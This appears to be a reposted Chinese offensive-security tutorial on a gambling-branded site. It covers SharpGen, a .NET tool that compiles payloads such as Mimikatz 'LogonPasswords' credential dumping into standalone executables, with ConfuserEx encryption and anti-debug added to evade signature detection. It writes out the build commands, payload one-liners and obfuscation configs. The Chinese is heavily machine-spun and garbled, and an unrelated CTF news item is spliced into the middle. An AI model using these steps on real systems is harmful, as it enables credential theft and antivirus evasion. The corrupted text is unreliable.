SharpGen应用剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

SharpGen应用剖析

申博_新闻事件 申博 60次浏览 未收录 0个评论

申博官方网

申博官方网娱乐新闻信息综合站点,包括明星 、电影、最新影讯/影评、电影院在线购票订座、电视剧、音乐、戏剧、演出等娱乐信息。

,

0x00 媒介

SharpGen是我以为迥殊棒的一个东西,它能够用来对其他.Net顺序集举行整合、重组并加密,二次编译后可天生一个全新的东西。

本文将要研讨SharpGen的细节,引见挪用其他开源库的细致要领,剖析应用思绪。

参考链接:

https://github.com/cobbr/SharpGen

https://cobbr.io/SharpGen.html

0x01 简介

本文将要引见以下内容:

· .NET Core开辟环境搭建

· 功用引见

· 挪用其他开源库的要领

· 应用思绪

0x02 .NET Core开辟环境搭建

SharpGen运用.NET Core,长处是支撑多平台(Linux,MacOS和Windows)。

编程言语运用C#,应用Rosyln编译.NET Framework控制台应用顺序或库。

注:Rosyln是一个.NET编译器平台,经由历程Scripting API,能够对剧本文件举行动态编译。

测试体系:Win7x64

我在测试体系挑选装置.NET Core 2.2.0、ASP.NET Core 2.2.0和SDK 2.2.101,这是为了兼容另一个东西Covenant

对应版本的下载链接以下:

https://dotnet.microsoft.com/download/thank-you/dotnet-sdk-2.2.101-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-installer

https://dotnet.microsoft.com/download/thank-you/dotnet-runtime-2.2.0-windows-x64-asp.net-core-runtime-installer

装置Git for Windows,下载链接以下:

https://github.com/git-for-windows/git/releases/download/v2.23.0.windows.1/Git-2.23.0-64-bit.exe

下载装置并编译SharpGen:

git clone https://github.com/cobbr/SharpGen
cd SharpGen
dotnet build --configuration Release

0x03 基本功用引见

SharpGen默许集成了SharpSploit,能够直接挪用个中的功用。

参数申明:

Options:
  -? | -h | --help                                     Show help information
  -f | --file <OUTPUT_FILE>                            The output file to write to.
  -d | --dotnet | --dotnet-framework <DOTNET_VERSION>  The Dotnet Framework version to target (net35 or net40).
  -o | --output-kind <OUTPUT_KIND>                     The OutputKind to use (console or dll).
  -p | --platform <PLATFORM>                           The Platform to use (AnyCpy, x86, or x64).
  -n | --no-optimization                               Don't use source code optimization.
  -a | --assembly-name <ASSEMBLY_NAME>                 The name of the assembly to be generated.
  -s | --source-file <SOURCE_FILE>                     The source code to compile.
  -c | --class-name <CLASS_NAME>                       The name of the class to be generated.
  --confuse <CONFUSEREX_PROJECT_FILE>                  The ConfuserEx ProjectFile configuration.

1.对单行代码举行编译

敕令以下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

实行历程显现自动补齐的编译代码,以下图:

SharpGen应用剖析

值得注意的是个中的随机类名ohq8r7eQ1qK,每次天生文件时运用的类名均会转变。

注:假如想指定类名,能够到场**-c**参数,示例以下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -c abcde12345 -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());"

敕令实行后天生example.exe,example.exe会挪用Mimikatz的sekurlsa::logonpasswords敕令。

2.对完全代码文件举行编译

example.txt的内容以下:

using System;
using SharpSploit.Execution;
using SharpSploit.Credentials;

class Program
{
    static void Main()
    {
        Console.WriteLine(Mimikatz.LogonPasswords());
        return;
    }
}

敕令以下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

实行历程显现编译代码,以下图:

SharpGen应用剖析

因为指定了类名为Program,所以不再具有随机类名的功用。

注:SharpGen运用了Rosyln举行动态编译,每次天生的文件hash都邑不一样。

0x04 高等功用

1.减少天生文件的体积

(1)作废对指定dll的援用

编辑文件SharpGen/References/references.yml

此处的dll一般为C#顺序运用的援用文件。

不须要的dll称号属性由Enabled: true改成Enabled: false

(2)作废对指定dll的援用

编辑文件SharpGen/Resources/resources.yml

此处的dll为完成mimikatz的功用。

不须要的dll称号属性由Enabled: true改成Enabled: false

注:

· powerkatz_x64.dll为64位的mimikatz

· powerkatz_x64.dll.comp为运用System.IO.Compression库紧缩后的64位的mimikatz

· powerkatz_x86.dll为32位的mimikatz

· powerkatz_x86.dll.comp为运用System.IO.Compression库紧缩后的32位的mimikatz

(3)运用ConfuserEx资本庇护

ConfuserEx资本庇护会对资本举行加密和LZMA紧缩。

示例敕令以下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

2.挪用其他开源库

3CTF预赛闭幕 11月复赛再掀烽火!

10月19日,由360公司主办、西安电子科技大学协办、陕西省网信办为指导单位的首届360杯网络安全职业技能大赛(3CTF)初赛落下帷幕。万人线上鏖战,500强榜单正式出炉! 文末附500强榜单 本次初赛为线上赛,题目类型包括理论题和CTF夺旗。理论题主要涉及计算机网络、协议分析、Web安全、中间件安全、系统安全、主机防护等内容,CTF夺旗主要涉及Web安全、数据包分析、取证分析、隐写、加解密编码等内容,主要考量参赛人员理论知识掌握程度和网络

参考资料中未引见这部分内容,这里给出我的解决要领。

这里给出两个示例,一个是开源的SharpWMI,另一个是我本身编写的模板SharpTest。

1.增添对SharpWMI的挪用

(1)将SharpWMI源码复制到SharpGen/Source

(2)修正SharpGen/SharpGen.csproj

ItemGroup标签中增添<Compile Remove=”Source\SharpWMI\Program.cs” />

不然在编译SharpGen时会报错提醒:

Source\SharpWMI\Program.cs(3,14): error CS0234: The type or namespace name 'Management' does not exist in the namespace 'System' (are you missing an assembly reference?)

(3)修正SharpWMI的源代码

只保存Program.cs,删除个中的Main函数而且将Program.cs中的每一个静态要领改成大众要领

比方:static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = “”)须要修正成public static void LocalWMIQuery(string wmiQuery, string wmiNameSpace = “”)

(4)从新编译SharpGen

敕令以下:

dotnet build --configuration Release

(5)挪用测试

example.txt的功用为挪用SharpWMI中的LocalWMIQuery要领查询win32_ComputerSystem,内容以下:

SharpWMI.Program.LocalWMIQuery("select * from win32_ComputerSystem");
Console.WriteLine(Host.GetProcessList());

SharpGen的敕令以下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

天生example.ex并实行,挪用胜利,以下图:

SharpGen应用剖析

2.增添本身编写的C#模板

命名为SharpTest,功用为吸收参数并在敕令行输出。

(1)新建文件夹SharpTest,个中新建文件Program.cs,内容以下:

using System;
using System.Collections.Generic;
using System.Management;
namespace SharpTest
{
    class Program
    {
        public static void TestMethod(string string1)
        {
            Console.WriteLine(string1);
        }
    }
}

(2)修正SharpGen/SharpGen.csproj

ItemGroup标签中增添<Compile Remove=”Source\SharpTest\Program.cs” />

(3)从新编译SharpGen

敕令以下:

dotnet build --configuration Release

(4)挪用测试

example.txt的功用为挪用SharpTest中的TestMethod要领,参数为123456,内容以下:

SharpTest.Program.TestMethod("123456");

SharpGen的敕令以下:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --source-file example.txt

天生example.exe并实行,挪用胜利,以下图:

SharpGen应用剖析

为了便于测试,我已fork了cobbr的SharpGen,增添了对SharpWMI和SharpTest的挪用,地点以下:

https://github.com/3gstudent/SharpGen

3.资本庇护

运用新版的ConfuserEx能够对编译后的文件资本举行庇护,地点以下:

https://github.com/mkaring/ConfuserEx

旧版的ConfuserEx不再举行保护,地点以下:

https://github.com/yck1509/ConfuserEx

挪用敕令示例:

dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe --confuse confuse.cr "Console.WriteLine(Mimikatz.LogonPasswords());"

对应运用的设置文件为SharpGen/confuse.cr

默许设置为对资本实行加密和LZMA紧缩。

ConfuserEx还支撑其他庇护功用:

· Anti Debug Protection

· Anti Dump Protection

· Anti IL Dasm Protection

· Anti Tamper Protection

· Constants Protection

· Control Flow Protection

· Invalid Metadata Protection

· Name Protection

· Reference Proxy Protection

· Resources Protection

只须要去掉SharpGen/confuse.cr中对应的解释即可。

比方增添anti debug功用,设置文件confuse.cr的内容以下:

<project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com">
    <module path="{2}">
      <rule pattern="true" inherit="false">
         <!-- <protection id="anti debug" />       -->
         <!-- <protection id="anti dump" />        -->
         <!-- <protection id="anti ildasm" />      -->
         <!-- <protection id="anti tamper" />      -->
         <!-- <protection id="constants" />        -->
         <!-- <protection id="ctrl flow" />        -->
         <!-- <protection id="invalid metadata" /> -->
         <!-- <protection id="ref proxy" />        -->
         <!-- <protection id="rename" />           -->
         <protection id="resources" />
         <protection id="anti debug" />
      </rule>
    </module>
</project>

4.补充:禁用优化

SharpGen在编译时期会对源代码举行优化,可经由历程–no-optimization参数来禁用优化,这将致使增添天生文件的大小。

0x05 应用剖析

SharpGen能够作为.Net顺序集从新包装的平台,具有以下长处:

· 运用.NET Core平台和Roslyn举行动态编译,开辟代码时可挑选多平台(Linux,MacOS和Windows)

· 可挪用其他开源库,完胜利用的定制,末了将其封装成零丁的一个exe文件或dll文件

· 运用ConfuserEx对资本举行加密和紧缩,防止对特性码的检测

· 天生的文件支撑.Net3.5和.Net 4.0

· 天生的文件支撑x86和x64

更进一步,运用SharpGen能够疾速的将.Net顺序集情势的POC转换成EXP。

0x06 小结

本文引见了SharpGen的功用,分享了我完成挪用其他开源库的要领,剖析SharpGen的长处。

原文地点: https://www.4hou.com/technology/21030.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明SharpGen应用剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址